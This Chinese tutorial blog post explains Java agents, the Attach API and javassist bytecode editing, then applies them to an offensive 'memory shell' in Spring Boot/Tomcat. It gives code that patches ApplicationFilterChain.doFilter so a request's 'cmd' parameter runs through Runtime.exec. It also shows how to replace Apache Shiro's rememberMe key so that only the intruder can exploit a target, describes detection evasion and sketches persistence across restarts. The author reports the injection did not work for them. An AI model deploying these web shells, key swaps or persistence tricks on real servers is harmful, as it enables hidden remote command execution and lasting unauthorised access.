1.1. 介绍

Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。 在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码

Java Intrumentation 和相关应用| 无知是天堂

java作为一种强类型的语言,不通过编译就不能够进行jar包的生成。而有了java agent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以把java agent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。

Java agent的使用方式有两种:

  • 实现premain方法,在JVM启动前加载。
  • 实现agentmain方法,在JVM启动后加载。

premainagentmain函数声明如下,拥有Instrumentation inst参数的方法优先级更高

public static void agentmain(String agentArgs, Instrumentation inst) {
    ...
}

public static void agentmain(String agentArgs) {
    ...
}

public static void premain(String agentArgs, Instrumentation inst) {
    ...
}

public static void premain(String agentArgs) {
    ...
}

第一个参数String agentArgs就是Java agent的参数。

第二个参数Instrumentation inst相当重要,inst 是一个 java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入。java.lang.instrument.Instrumentationinstrument 包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。

1.2. premain

这里简单的举例说明premain的使用,创建一个maven项目

编写premain函数

import java.lang.instrument.Instrumentation;

public class Main {
    public static void premain(String agentArgs, Instrumentation inst){
        for(int i=0; i < 5; i+=1){
            System.out.println("called premain");
        }
    }
}

resources目录下创建META-INF/MANIFEST.MF,并指定Premain-Class;要注意的是,最后必须多一个换行

Manifest-Version: 1.0
Premain-Class: Main

image-20211125162732664

然后打包成jar文件,在Project Structure -> Artifacts -> JAR -> From modules with dependencies中配置

image-20211125162926179

默认选项就行

image-20211125162819989

然后选择Build -> Build Artifacts -> Build

会在out/artifacts/javaagent_jar目录下生成对应的jar文件

image-20211125163145403

随便找个jar文件示例,比如我们写个hello word,使用 -javaagent:agent.jar 参数执行

java -javaagent:javaagent.jar -jar hello.jar

image-20211125163755303

可以发现在hello.jar输出Hello world之前就执行了,具体执行流程大致如下

premain-流程

然而这种方法存在一定的局限性:只能在启动时使用-javaagent参数指定

在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain更加实用。

1.3. agentmain

写一个agentmainpremain差不多,只需要在META-INF/MANIFEST.MF中加入Agent-Class:即可。

Manifest-Version: 1.0
Agent-Class: AgentMain

不同的是,这种方法不是通过JVM启动前的参数来指定的,官方为了实现启动后加载,提供了Attach API。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach 包里面。着重关注的是VitualMachine这个类。

需要依赖VitualMachineloadAgent达到attach的目的

1.3.1. VirtualMachine

字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息、 loadAgentattachdetach 等方法,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过loadAgent方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例。

Java成神之路——javaAgent

具体的用法看一下官方给的例子大概就理解了:

// com.sun.tools.attach.VirtualMachine

// 下面的示例演示如何使用VirtualMachine:

        // attach to target VM
        VirtualMachine vm = VirtualMachine.attach("2177");  
        // start management agent
        Properties props = new Properties();
        props.put("com.sun.management.jmxremote.port", "5000");
        vm.startManagementAgent(props);
        // detach
        vm.detach();

// 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。

下面列几个这个类提供的方法:

  • com.sun.tools.attach.VirtualMachine
public abstract class VirtualMachine {
    // 获得当前所有的JVM列表
    public static List<VirtualMachineDescriptor> list() { ... }

    // 根据pid连接到JVM
    public static VirtualMachine attach(String id) { ... }

    // 断开连接
    public abstract void detach() {}

    // 加载agent,agentmain方法靠的就是这个方法
    public void loadAgent(String agent) { ... }

}

1.3.2. 实现举例

  • Attach.java(找到进程,加载agentMain.jar
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attach {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        if(args.length == 2){
            String pid = args[0];
            String jarName = args[1];

            System.out.println("attach 的 pid ==> " + pid);
            System.out.println("attach 的 jarName ==> " + jarName);
            // 连接到JVM
            VirtualMachine virtualMachine = VirtualMachine.attach(pid);
            // 加载agentmain
            virtualMachine.loadAgent(jarName);
            // 断开连接
            virtualMachine.detach();

            System.out.println("ends");
        }
        else{
            System.out.println("至少2个参数");
            // 列出所有的jvm
            System.out.println(VirtualMachine.list());
        }
    }
}
  • AgentMain.java(想要动态实现的代码)
import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        for(int i=0; i < 5; i+=1){
            System.out.println("called agentmain");
        }
    }
}
  • 可以写一起打包成一个jar,也可以分开打包成2个,问题都不大,只要MANIFST.MF没问题就行
Manifest-Version: 1.0
PreMain-Class: PreMain
Agent-Class: AgentMain
Main-Class: Attach
  • 找一下想要操作的jvm的pid(也可以用上面的list()方法看到pid)

image-20211126132236606

  • 配置参数
java -jar attach.jar 63242 agentMain.jar

也可以手动在idea里面配置好

image-20211126132408117

  • 运行

image-20211126132804923

  • 转到我们想要attach的tomcat中看看效果

image-20211126132849089

1.4. Instrumentation

刚才说了第二个参数Instrumentation inst相当重要,inst 是一个 java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入。java.lang.instrument.Instrumentationinstrument 包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。

下面列出这个类的一些方法,更加详细的介绍和方法,可以参照官方文档,也可以看这个类源码里面的说明

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

1.4.1. 获取所有可修改类

先介绍getAllLoadedClassesisModifiableClasses。顾名思义:

  • getAllLoadedClasses:获取所有已经加载的类。
  • isModifiableClasses:判断某个类是否能被修改。

修改刚才的AgentMain.java,并编译

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        for (Class cls : allLoadedClasses){
            System.out.println(cls.getName());
            System.out.print("isModifiableClass: ");
            System.out.println(inst.isModifiableClass(cls)?"true":"false");
        }
    }
}

修改Attach.java,并重新attach到jvm中

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attach {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        // 列出所有的jvm
        System.out.println(VirtualMachine.list());
        String pid = "68588";
        String jarName = "/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar";
        // 连接到JVM
        VirtualMachine virtualMachine = VirtualMachine.attach(pid);
        // 加载agentmain
        virtualMachine.loadAgent(jarName);
        // 断开连接
        virtualMachine.detach();

        System.out.println("ends");
    }
}

运行后

image-20211126150313407

得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改

1.4.2. 修改类

使用addTransformer()retransformClasses()可以篡改Class的字节码

首先再看一下这两个方法的声明:

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    ......
}

addTransformer()方法中,有一个参数ClassFileTransformer transformer。这个参数将帮助我们完成字节码的修改工作。

ClassFileTransformer

ClassFileTransformer也是一个接口,它提供了transform方法,此方法的实现可能会转换提供的类文件并返回新的替换类文件。

image-20211126150952479

接口注释简单概括一下:

  1. 使用Instrumentation.addTransformer()来加载一个转换器。
  2. 转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。
  3. 对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

现在已经知道了怎样能修改Class的字节码,具体的做法还需要用到另一个类库javassist来获取字节码,不了解的可以网上找文章了解下,可以简单理解为:通过这个类库可以直接创建一个class字节码文件

javassist

因为我们的目的只是修改某个类的某个方法,所以着重介绍下CtMethod,其他需要的简单过一下

依赖
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
ClassPool

这个类是javassist的核心组件之一。

来看一下官方对他的介绍:

ClassPoolCtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath 以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。

简单来说,这就是个容器,存放的是CtClass对象。

获得方法: ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

cp.insertClassPath(new ClassClassPath(<Class>));
CtClass

可以把它理解成加强版的Class对象,需要从ClassPool中获得。

获得方法:CtClass cc = cp.get(ClassName)

CtMethod

同理,可以理解成加强版的Method对象。

获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)

这个类提供了一些方法,使我们可以便捷的修改方法体:

public final class CtMethod extends CtBehavior {
    // 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
    // 设置方法体
    public void setBody(String src);

    // 插入在方法体最前面
    public void insertBefore(String src);

    // 插入在方法体最后面
    public void insertAfter(String src);

    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);

}

传递给方法 insertBefore()insertAfter()insertAt() 的 String 对象是由Javassist 的编译器编译的。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:

符号 含义
$0, $1, $2, ... $0 = this; $1 = args[1] .....
$args 方法参数数组.它的类型为 Object[]
$$ 所有实参。例如, m($$) 等价于 m($1,$2,...)
$cflow(...) cflow 变量
$r 返回结果的类型,用于强制类型转换
$w 包装器类型,用于强制类型转换
$_ 返回值

详细的内容可以看Javassist 使用指南(二)

示例

举例说明一下是如何动态修改类字节码的

先说2个注意点:

  • 如果在使用过程中找不到javassist包中的类(因为目标环境也需要这个类库,不然会找不到Class),那么可以使用URLCLassLoader+反射的方式调用
  • 需要在agent.jar中的MANIFEST.MF中添加Can-Retransform-Classes: true,不然会抛出异常UnmodifiableClassException

  • 被动态修改的类源码,其中Hello类的hello方法是我们要动态修改的目标,用Scanner是为了保证程序不停止,给我们留有操作的时间
// Main.java
import java.util.Scanner;

public class Main {
    public static void main(String[] args) {
        Hello h1 = new Hello();
        h1.hello();

        System.out.println("等待输入...");
        new Scanner(System.in).next();

        Hello h2 = new Hello();
        h2.hello();
    }

}

// Hello.java
public class Hello {
    public void hello(){
        System.out.println("hello world");
    }
}
  • 运行并获取pid(69484)

image-20211126164528918

  • attach代码还是差不多,主要是给agent.jar附加进去
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attach {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        // 列出所有的jvm
        System.out.println(VirtualMachine.list());
        String pid = "69484";
        String jarName = "/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar";
        // 连接到JVM
        VirtualMachine virtualMachine = VirtualMachine.attach(pid);
        // 加载agentmain
        virtualMachine.loadAgent(jarName);
        // 断开连接
        virtualMachine.detach();

        System.out.println("ends");
    }
}
  • AgentMain(主要是添加Transformer和触发Transformer)
// AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        for (Class cls : allLoadedClasses){
            // 定位到类
            if (cls.getName() == TransformerDemo.editClassName){
                // 添加Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发Transformer
                inst.retransformClasses(cls);
            }
        }

    }
}

// TransformerDemo.java
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象
public class TransformerDemo implements ClassFileTransformer {
    public static String editClassName = "Hello";
    public static String editMethod = "hello";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        ClassPool classPool = ClassPool.getDefault();

        // 添加额外的类搜索路径
        if (classBeingRedefined != null){
            ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
            classPool.insertClassPath(classClassPath);
        }

        // 修改方法hello(),返回 byte[] 字节码
        try {
            CtClass ctClass = classPool.get(editClassName);
            CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
            String modifySource = "System.out.println(\"TransformerDemo attached\");";
            ctMethod.setBody(modifySource);
            byte[] bytes = ctClass.toBytecode();
            ctClass.detach();
            return bytes;

        } catch (NotFoundException e) {
            e.printStackTrace();
        } catch (CannotCompileException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }


        return new byte[0];
    }
}
  • 结果,可以看到第二次执行hello()方法时发现该方法被动态的修改了

image-20211126175454346

1.5. 内存马

既然现在已经能够修改方法体了,那就可以将木马放到某个一定会执行的方法内,这样的话,当访问任意路由的时候,就会调用木马。那么现在的问题就变成了,注入到哪一个类的哪个方法比较好。

众所周知,Spring boot 中内嵌了一个embed Tomcat作为容器,而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过重写/添加Filter来实现的。既然Spring boot 使用了Tomcat,那么能不能照葫芦画瓢,通过Filter,实现一个Spring boot的内存马呢?当然是可以的。

1.5.1. Spring Boot的Filter

给写的Controller下个断点,可以看到执行到controller的时候,会经过很多的doFilterinternalDoFilter方法,它们大多来自于ApplicationFilterChain这个类。

image-20211126181552570

看看ApplicationFilterChaindoFilter方法:

@Override
public void doFilter(ServletRequest request, ServletResponse response)
    throws IOException, ServletException {

    if( Globals.IS_SECURITY_ENABLED ) {
        final ServletRequest req = request;
        final ServletResponse res = response;
        try {
            java.security.AccessController.doPrivileged(
                new java.security.PrivilegedExceptionAction<Void>() {
                    @Override
                    public Void run()
                        throws ServletException, IOException {
                        internalDoFilter(req,res);
                        return null;
                    }
                }
            );
        } catch (PrivilegedActionException pe) {
            ......
        }
    } else {
        internalDoFilter(request,response);
    }
}

乍一看内容挺多,其实总结下来就是调用this.internalDoFilter()。所以再来简单看一下internalDoFilter()方法:

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ......
        }
}

这两个个方法拥有RequestResponse参数。如果能重写其中一个,那就能控制所有的请求和响应!因此,用来作为内存马的入口点简直完美。这里我选择doFilter()方法,具体原因会在之后提到。

1.5.2. Java agent修改doFilter

注意:

  1. 每次attach之前,需要访问一下spring的web页面,要让Spring Initializing Spring DispatcherServlet 'dispatcherServlet',加载一下需要的类,不然不会attach成功,因为找不到我们要修改的类,所以也找不到方法,也就无法修改成功
  2. shell中所有类都要用全称,比如java.io.InputStream,不然可能会抛出异常
  3. 如果是完全替代方法,记得用{}包裹
  4. 可能会出现各种java.lang.NoClassDefFoundError的问题,跟一下这个断点,就会发现缺少各种各样的class文件,跟了一下,发现可能是动态修改字节码后,整个类的class都会出现异常,太离谱了,也不知道网上的大哥们为啥没遇到
  5. 接上一个问题,动态修改过的class文件反编译后代码是没问题的,但是还是不知道为啥解决不了找不到类定义的问题

对刚才的agent代码稍微修改即可(实在重写不了doFilter方法了,分析了几天,重写了class就算代码没问题,也会出现java.lang.NoClassDefFoundError的问题)

并且这里为了不破坏原来的方法结构,我们不用CtMethodsetSource,而是用insertBefore方法

  • AgentMain.java
// AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        for (Class cls : allLoadedClasses){
            // 定位到类
            if (cls.getName() == TransformerDemo.editClassName){
                // 添加Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发Transformer
                inst.retransformClasses(cls);
            }
        }

    }
}

// TransformerDemo.java
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象
public class TransformerDemo implements ClassFileTransformer {
    public static String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
    public static String editMethod = "doFilter";
    public static String memshell = "" +
            "    javax.servlet.http.HttpServletRequest req =  $1;\n" +
            "    javax.servlet.http.HttpServletResponse res = $2;\n" +
            "    java.lang.String cmd = req.getParameter(\"cmd\");\n" +
            "\n" +
            "    if (cmd != null){\n" +
            "       System.out.println(cmd);" +
            "        try {\n" +
            "            java.lang.Runtime.getRuntime().exec(cmd);\n" +
            "        } catch (Exception e){\n" +
            "            e.printStackTrace();\n" +
            "        }\n" +
            "    }\n" +
            "    else{\n" +
            "        internalDoFilter(req,res);\n" +
            "    }\n" +
            "";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        ClassPool classPool = ClassPool.getDefault();

        // 添加额外的类搜索路径
        if (classBeingRedefined != null) {
            ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
            classPool.insertClassPath(classClassPath);
        }

        // 修改方法doFilter(),返回 byte[] 字节码
        try {
            CtClass ctClass = classPool.get(editClassName);
            CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
            ctMethod.insertBefore(memshell);
            ctClass.writeFile("/Users/d4m1ts/d4m1ts/java/Temp/out/artifacts/temp_jar");
            System.out.println(memshell);
            System.out.println("injection success");
            byte[] bytes = ctClass.toBytecode();
            ctClass.detach();
            return bytes;

        } catch (NotFoundException e) {
            e.printStackTrace();
        } catch (CannotCompileException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }


        return new byte[0];
    }
}

给上面的打包成agent.jar,然后通过虚拟机attach到spring jvm中,再执行命令即可(理论上是可以的,网上的文章也都可以成功,但我实在是调不出来为啥了)

image-20211208100426485

1.6. 拓展操作

通过加载agent可以修改很多类的字节码,所以利用起来操作的空间也很大,不仅仅是内存马这一个点。

一个比较多的利用方法,就是修改shiro的key,这样可以让这个漏洞仅自己可用,避免共享目标权限

重点:

在解析rememberMe的时候,先将其base64解码,然后使用AES解密,在AES解密的时候,会调用org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey(),更改掉这个函数的返回值,就可以更改解密的密钥。

// 使用insertBefore()
$0.setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));

// 使用setBody()
return (org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));

1.7. 查杀

agent 内存马相比 filter 内存马,会多一步就是我们需要将我们自己的 agent.jar 传到目标上,然后利用代码将 agent.jar 进行注入,注入之后我们就可以将 agent.jar 进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些

1.8. 风险

注入agent内存马后,可能存在我上面那种整个网站崩溃的情况;网上有说可能是因为虚拟内存不够了而导致的,但是我设置大了虚拟内存还是不行。。。

所以实战中尽量还是用API型的内存马

1.9. 内存马复活

换个说法,如何防止内存马重启后失效;

其实也很简单,就是在jvm关闭前,把attach.jaragentMain.jar都写到磁盘上,然后无限调用attach.jar尝试attach到jvm中;

但是这样感觉更容易被发现了,所谓有得必有失吧emmm

1.10. 总览

Java Agent Overview

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:52:02

results matching ""

    No results matching ""